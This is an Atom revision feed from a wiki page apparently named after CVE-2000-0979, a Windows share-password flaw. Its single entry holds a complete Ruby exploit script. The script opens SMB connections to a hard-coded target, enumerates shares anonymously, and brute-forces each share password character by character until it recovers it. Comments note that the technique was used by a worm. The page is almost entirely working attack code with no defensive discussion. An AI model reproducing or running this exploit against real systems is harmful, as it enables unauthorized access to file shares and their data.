<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2000-0979%E5%AF%86%E7%A2%BC%E5%85%B1%E4%BA%AB%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2000-0979密碼共享漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2000-0979%E5%AF%86%E7%A2%BC%E5%85%B1%E4%BA%AB%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2000-0979%E5%AF%86%E7%A2%BC%E5%85%B1%E4%BA%AB%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T09:32:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2000-0979%E5%AF%86%E7%A2%BC%E5%85%B1%E4%BA%AB%E6%BC%8F%E6%B4%9E&amp;diff=788&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt;  # this program will exploit CVE-2000-0979. # Exploit was used by Share Password Checker # http://www.securityfriday.com/tools/SPC.html # and by WORM_OPASERV   #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2000-0979%E5%AF%86%E7%A2%BC%E5%85%B1%E4%BA%AB%E6%BC%8F%E6%B4%9E&amp;diff=788&amp;oldid=prev"/>
		<updated>2021-03-31T06:28:09Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt;  # this program will exploit CVE-2000-0979. # Exploit was used by Share Password Checker # http://www.securityfriday.com/tools/SPC.html # and by WORM_OPASERV   #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# this program will exploit CVE-2000-0979.&lt;br /&gt;
# Exploit was used by Share Password Checker&lt;br /&gt;
# http://www.securityfriday.com/tools/SPC.html&lt;br /&gt;
# and by WORM_OPASERV&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#TODO convert to Metasploit&lt;br /&gt;
&lt;br /&gt;
require 'socket'&lt;br /&gt;
require 'hexdump'&lt;br /&gt;
#Method: Rex::Text.to_hex_dump&lt;br /&gt;
#Defined in:&lt;br /&gt;
#            lib/rex/text.rb&lt;br /&gt;
#permalink .to_hex_dump(str, width = 16, base = nil) ⇒ Object&lt;br /&gt;
&lt;br /&gt;
#require 'pp'&lt;br /&gt;
&lt;br /&gt;
delay = 0.001&lt;br /&gt;
&lt;br /&gt;
puts &amp;quot;Hello CVE-2000-0979&amp;quot;&lt;br /&gt;
hex = Hexdump::Dumper.new&lt;br /&gt;
RHOST = '192.168.1.113' #'127.0.0.1'&lt;br /&gt;
RPORT = 139&lt;br /&gt;
&lt;br /&gt;
$debug = FALSE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
socket = TCPSocket.open(RHOST, RPORT)&lt;br /&gt;
BUFFER_SIZE = 1000&lt;br /&gt;
&lt;br /&gt;
def debug_puts(message)&lt;br /&gt;
  if $debug&lt;br /&gt;
    puts message&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def debug_hex_dump(hex,message)&lt;br /&gt;
  if $debug&lt;br /&gt;
    puts hex.dump(message)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def sock_close(socket)&lt;br /&gt;
  debug_puts &amp;quot;Closing the Client...................&amp;quot;&lt;br /&gt;
  socket.close                    # Close the socket&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
#todo redo Object oriented&lt;br /&gt;
def update_tid(packet, tid)&lt;br /&gt;
  tid_arr = tid.unpack('C*')&lt;br /&gt;
  packet.map! { |val|&lt;br /&gt;
      if val == &amp;quot;tid0&amp;quot; then&lt;br /&gt;
        tid_arr[0]&lt;br /&gt;
      elsif val == &amp;quot;tid1&amp;quot; then&lt;br /&gt;
             tid_arr[1]&lt;br /&gt;
           else val&lt;br /&gt;
      end&lt;br /&gt;
  }&lt;br /&gt;
  return packet&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def update_password(packet, nbs_length,length0, length1, byte_count0, byte_count1,password,&lt;br /&gt;
    share)&lt;br /&gt;
&lt;br /&gt;
  new_packet = packet.map { |val|&lt;br /&gt;
    if val == &amp;quot;length0&amp;quot; then&lt;br /&gt;
      length0&lt;br /&gt;
    elsif val == &amp;quot;length1&amp;quot; then&lt;br /&gt;
      length1&lt;br /&gt;
    elsif val == &amp;quot;byte_count0&amp;quot; then&lt;br /&gt;
      byte_count0&lt;br /&gt;
    elsif val == &amp;quot;byte_count1&amp;quot; then&lt;br /&gt;
      byte_count1&lt;br /&gt;
    elsif val == &amp;quot;nbs_length&amp;quot; then&lt;br /&gt;
      nbs_length&lt;br /&gt;
    else val&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  share_chars = share.chars.map {|val|&lt;br /&gt;
    val.ord&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  new_packet.insert(new_packet.find_index(&amp;quot;share&amp;quot;),share_chars).flatten!&lt;br /&gt;
  new_packet.delete_at(new_packet.find_index(&amp;quot;share&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
  new_packet.insert(new_packet.find_index(&amp;quot;password&amp;quot;),password).flatten!&lt;br /&gt;
  new_packet.delete_at(new_packet.find_index(&amp;quot;password&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
  return new_packet&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def update_machine_name(packet,machine_name)&lt;br /&gt;
  packet.insert(packet.find_index(&amp;quot;machine_name&amp;quot;),machine_name).flatten!&lt;br /&gt;
  packet.delete_at(packet.find_index(&amp;quot;machine_name&amp;quot;))&lt;br /&gt;
  return packet&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def send_and_receive(socket, packet)&lt;br /&gt;
  hex = Hexdump::Dumper.new&lt;br /&gt;
&lt;br /&gt;
  debug_puts &amp;quot;\nFinal client data &amp;quot;&lt;br /&gt;
  debug_hex_dump(hex,packet.pack('C*').to_s)&lt;br /&gt;
&lt;br /&gt;
  socket.send packet.pack('C*'),0&lt;br /&gt;
  response = socket.recvfrom(BUFFER_SIZE)&lt;br /&gt;
&lt;br /&gt;
  debug_puts &amp;quot;\nServer response\n&amp;quot;&lt;br /&gt;
  debug_hex_dump(hex,response.first.to_s)&lt;br /&gt;
&lt;br /&gt;
  return response&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tree_disconnect_request = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                           0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,&lt;br /&gt;
                           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                           0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe,&lt;br /&gt;
                           0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 ]&lt;br /&gt;
&lt;br /&gt;
machine_name = 32.times.map{ 0x41 + Random.rand(6) }&lt;br /&gt;
&lt;br /&gt;
session_request_def = [0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45,&lt;br /&gt;
                       0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45,&lt;br /&gt;
                       0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43,&lt;br /&gt;
                       0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,&lt;br /&gt;
                       0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20,  &amp;quot;machine_name&amp;quot;, 0x00]&lt;br /&gt;
&lt;br /&gt;
session_request_def = update_machine_name(session_request_def,machine_name)&lt;br /&gt;
&lt;br /&gt;
neg_prot_req = [0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8,&lt;br /&gt;
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,&lt;br /&gt;
                0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54,&lt;br /&gt;
                0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32,&lt;br /&gt;
                0x00]&lt;br /&gt;
&lt;br /&gt;
sess_setup_andx_req = [0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                       0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,&lt;br /&gt;
                       0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74,&lt;br /&gt;
                       0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09,&lt;br /&gt;
                       0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e,&lt;br /&gt;
                       0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30,&lt;br /&gt;
                       0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,&lt;br /&gt;
                       0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33,&lt;br /&gt;
                       0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69,&lt;br /&gt;
                       0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30,&lt;br /&gt;
                       0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00,&lt;br /&gt;
                       0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01,&lt;br /&gt;
                       0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39,&lt;br /&gt;
                       0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32,&lt;br /&gt;
                       0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50,&lt;br /&gt;
                       0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f,&lt;br /&gt;
                       0x00 ]&lt;br /&gt;
&lt;br /&gt;
netshareenum_request = [0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                       0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0x00, &amp;quot;tid0&amp;quot;, &amp;quot;tid1&amp;quot;, 0xff, 0xfe,&lt;br /&gt;
                       0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00,&lt;br /&gt;
                       0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,&lt;br /&gt;
                       0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13,&lt;br /&gt;
                       0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                       0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45,&lt;br /&gt;
                       0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00,&lt;br /&gt;
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72,&lt;br /&gt;
                       0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42,&lt;br /&gt;
                       0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10]&lt;br /&gt;
&lt;br /&gt;
sess_setup_andx_req_anon = [0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                            0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,&lt;br /&gt;
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,&lt;br /&gt;
                            0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00,&lt;br /&gt;
                            0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a,&lt;br /&gt;
                            0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                            0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00,&lt;br /&gt;
                            0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20,&lt;br /&gt;
                            0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39,&lt;br /&gt;
                            0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f,&lt;br /&gt;
                            0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20,&lt;br /&gt;
                            0x35, 0x2e, 0x30, 0x00]&lt;br /&gt;
&lt;br /&gt;
tree_connect_request_path_password = [0x00, 0x00, 0x00, &amp;quot;nbs_length&amp;quot;, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                                      0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,&lt;br /&gt;
                                      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                                      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,&lt;br /&gt;
                                      0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00,&lt;br /&gt;
                                      0x00, 0x00, 0x00,&lt;br /&gt;
                                      &amp;quot;length0&amp;quot;, &amp;quot;length1&amp;quot;, &amp;quot;byte_count0&amp;quot;, &amp;quot;byte_count1&amp;quot;,&amp;quot;password&amp;quot;,&lt;br /&gt;
                                      &amp;quot;share&amp;quot;, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00]&lt;br /&gt;
&lt;br /&gt;
tree_disconnect = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,&lt;br /&gt;
                   0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,&lt;br /&gt;
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;
                   0x00, 0x00, 0x00, 0x00, &amp;quot;tid0&amp;quot;, &amp;quot;tid1&amp;quot;, 0xc0, 0x0b,&lt;br /&gt;
                   0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00]&lt;br /&gt;
&lt;br /&gt;
myhash = {}&lt;br /&gt;
&lt;br /&gt;
@client_packets = [{ &amp;quot;tree_disconnect_request&amp;quot; =&amp;gt; tree_disconnect_request},&lt;br /&gt;
                  {&amp;quot;close1&amp;quot; =&amp;gt; &amp;quot;close&amp;quot;},&lt;br /&gt;
                  {&amp;quot;session_request_def&amp;quot; =&amp;gt; session_request_def},&lt;br /&gt;
                  {&amp;quot;neg_prot_req&amp;quot; =&amp;gt; neg_prot_req},&lt;br /&gt;
                  {&amp;quot;sess_setup_andx_req&amp;quot; =&amp;gt; sess_setup_andx_req},&lt;br /&gt;
                  {&amp;quot;netshareenum_request&amp;quot; =&amp;gt; netshareenum_request},&lt;br /&gt;
                  {&amp;quot;close3&amp;quot; =&amp;gt; &amp;quot;close&amp;quot;},&lt;br /&gt;
                  {&amp;quot;session_request_2&amp;quot; =&amp;gt; session_request_def},&lt;br /&gt;
                  {&amp;quot;neg_prot_req_2&amp;quot; =&amp;gt; neg_prot_req},&lt;br /&gt;
                  {&amp;quot;sess_setup_andx_req_anon&amp;quot; =&amp;gt; sess_setup_andx_req_anon}&lt;br /&gt;
                   ]&lt;br /&gt;
&lt;br /&gt;
i = 0&lt;br /&gt;
tid = 0&lt;br /&gt;
length0, length1, byte_count0, byte_count1,password, share = 0&lt;br /&gt;
shares = Array.new&lt;br /&gt;
&lt;br /&gt;
@client_packets.each_with_index { |val, idx|&lt;br /&gt;
  begin&lt;br /&gt;
    if val[val.keys[0]].to_s == &amp;quot;close&amp;quot; and socket then&lt;br /&gt;
      sock_close(socket)  #close&lt;br /&gt;
      debug_puts &amp;quot;Opening socket again&amp;quot;&lt;br /&gt;
      socket = TCPSocket.open(RHOST, RPORT) #open new&lt;br /&gt;
      next&lt;br /&gt;
    elsif  !socket&lt;br /&gt;
      debug_puts &amp;quot;Opening socket again&amp;quot;&lt;br /&gt;
      socket = TCPSocket.open(RHOST, RPORT) #open new&lt;br /&gt;
      next&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if [ 'netshareenum_request'].include? val.keys[0] then&lt;br /&gt;
&lt;br /&gt;
      #update TID in packets&lt;br /&gt;
      packet = update_tid(val[val.keys[0]], tid)&lt;br /&gt;
      debug_puts &amp;quot;Packet updated&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    else&lt;br /&gt;
      packet = val[val.keys[0]]&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    debug_puts &amp;quot;\nclient data\n&amp;quot;&lt;br /&gt;
    debug_puts val.keys[0]&lt;br /&gt;
    response = send_and_receive(socket,packet)&lt;br /&gt;
&lt;br /&gt;
    if val.keys[0] == &amp;quot;sess_setup_andx_req&amp;quot; then&lt;br /&gt;
      tid = response.first[28..29]&lt;br /&gt;
      debug_puts &amp;quot;New tree ID TID !!!!!&amp;quot;&lt;br /&gt;
      debug_hex_dump(hex,tid)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if val.keys[0] == &amp;quot;session_request_def&amp;quot; then&lt;br /&gt;
      session_response = response.first[0]&lt;br /&gt;
      if (session_response.ord != 0x82) then&lt;br /&gt;
        puts &amp;quot;Session response is not positive! Exiting.&amp;quot;&lt;br /&gt;
        exit(0)&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if val.keys[0] == &amp;quot;neg_prot_req&amp;quot; then&lt;br /&gt;
      error_class = response.first[9]&lt;br /&gt;
      if (error_class.ord != 0x0) then&lt;br /&gt;
        puts &amp;quot;Error in negotiation! Exiting.&amp;quot;&lt;br /&gt;
        exit(0)&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if val.keys[0] == &amp;quot;netshareenum_request&amp;quot; then&lt;br /&gt;
      num_of_shares = response.first[65..66].unpack('cc').first&lt;br /&gt;
      print &amp;quot;Number of shares: &amp;quot;&lt;br /&gt;
      puts num_of_shares&lt;br /&gt;
      puts &amp;quot;Share names: &amp;quot;&lt;br /&gt;
      num_of_shares.times do |n|&lt;br /&gt;
        offset = (n * 20) + 68&lt;br /&gt;
        share_name = response.first[offset..offset+15]&lt;br /&gt;
        shares.push(share_name)&lt;br /&gt;
        puts &amp;quot;\t&amp;quot; + share_name&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
  rescue IOError, SocketError, SystemCallError =&amp;gt; e&lt;br /&gt;
    puts e.message&lt;br /&gt;
    puts e.backtrace.inspect&lt;br /&gt;
    exit(-1)&lt;br /&gt;
  end&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#Start brute-forcing the password&lt;br /&gt;
shares.each { |share|&lt;br /&gt;
  next_share = FALSE&lt;br /&gt;
  share = share.delete(&amp;quot;\000&amp;quot;)&lt;br /&gt;
  #puts  share.length&lt;br /&gt;
&lt;br /&gt;
  nbs_length = 0x33 + share.length&lt;br /&gt;
  length0 = 0x01&lt;br /&gt;
  length1 = 0x00&lt;br /&gt;
  byte_count0 = 0x08 + share.length&lt;br /&gt;
  byte_count1 = 0x00&lt;br /&gt;
  password = [0x20]   #TODO skip lowercase letters&lt;br /&gt;
&lt;br /&gt;
  puts &amp;quot;Brute-forcing password for share: &amp;quot; + share&lt;br /&gt;
&lt;br /&gt;
  while true&lt;br /&gt;
    begin&lt;br /&gt;
&lt;br /&gt;
      packet = update_password(tree_connect_request_path_password,nbs_length, length0, length1,&lt;br /&gt;
                               byte_count0, byte_count1,password,share)&lt;br /&gt;
      debug_puts &amp;quot;Packet updated&amp;quot;&lt;br /&gt;
      response = send_and_receive(socket,packet)&lt;br /&gt;
&lt;br /&gt;
      if ((response.first[9].unpack('C') +&lt;br /&gt;
          response.first[10].unpack('C') +&lt;br /&gt;
          response.first[11].unpack('C') +&lt;br /&gt;
          response.first[12].unpack('C'))[0] == 0) then&lt;br /&gt;
&lt;br /&gt;
        debug_puts 'Auth success, trying next char'&lt;br /&gt;
&lt;br /&gt;
        if (password[0] ==0x20 and password[1]==0x20)&lt;br /&gt;
          puts &amp;quot;Empty password works!\n\n&amp;quot;&lt;br /&gt;
          next_share=TRUE&lt;br /&gt;
          break&lt;br /&gt;
        end&lt;br /&gt;
&lt;br /&gt;
        length0 = length0 + 1&lt;br /&gt;
        nbs_length = nbs_length + 1&lt;br /&gt;
        byte_count0 = byte_count0 + 1&lt;br /&gt;
&lt;br /&gt;
        password.push(0x20)&lt;br /&gt;
&lt;br /&gt;
        tid = response.first[28..29]&lt;br /&gt;
        debug_puts &amp;quot;New tree ID TID !&amp;quot;&lt;br /&gt;
        debug_hex_dump(hex,tid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        packet = update_tid(tree_disconnect, tid)&lt;br /&gt;
        response = send_and_receive(socket,tree_disconnect)&lt;br /&gt;
&lt;br /&gt;
      else&lt;br /&gt;
        password[length0-1] = password[length0-1] + 1&lt;br /&gt;
&lt;br /&gt;
        password.each { |val|&lt;br /&gt;
          print val.chr()&lt;br /&gt;
&lt;br /&gt;
        }&lt;br /&gt;
        print &amp;quot;\r&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        sleep(delay)&lt;br /&gt;
&lt;br /&gt;
        if (password[length0-1] &amp;gt; 128)  then&lt;br /&gt;
          password.each { |val|&lt;br /&gt;
            if (val &amp;lt; 128) then&lt;br /&gt;
              print val.chr()&lt;br /&gt;
            end&lt;br /&gt;
          }&lt;br /&gt;
&lt;br /&gt;
          #TODO check for 0 length password&lt;br /&gt;
          if length0 &amp;gt; 1&lt;br /&gt;
            puts &amp;quot;\n&amp;quot;+'&amp;lt;- No more char to try, this should be your password, yikes :) '+&amp;quot;\n\n&amp;quot;&lt;br /&gt;
          else&lt;br /&gt;
            puts &amp;quot;Password not found :(&amp;quot;+&amp;quot;\n\n&amp;quot;&lt;br /&gt;
          end&lt;br /&gt;
&lt;br /&gt;
          next_share=TRUE&lt;br /&gt;
        end&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
    rescue IOError, SocketError, SystemCallError =&amp;gt; e&lt;br /&gt;
      puts e.message&lt;br /&gt;
      puts e.backtrace.inspect&lt;br /&gt;
      exit(-1)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if (next_share)   #moving on to the next share&lt;br /&gt;
      break&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
sock_close(socket)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>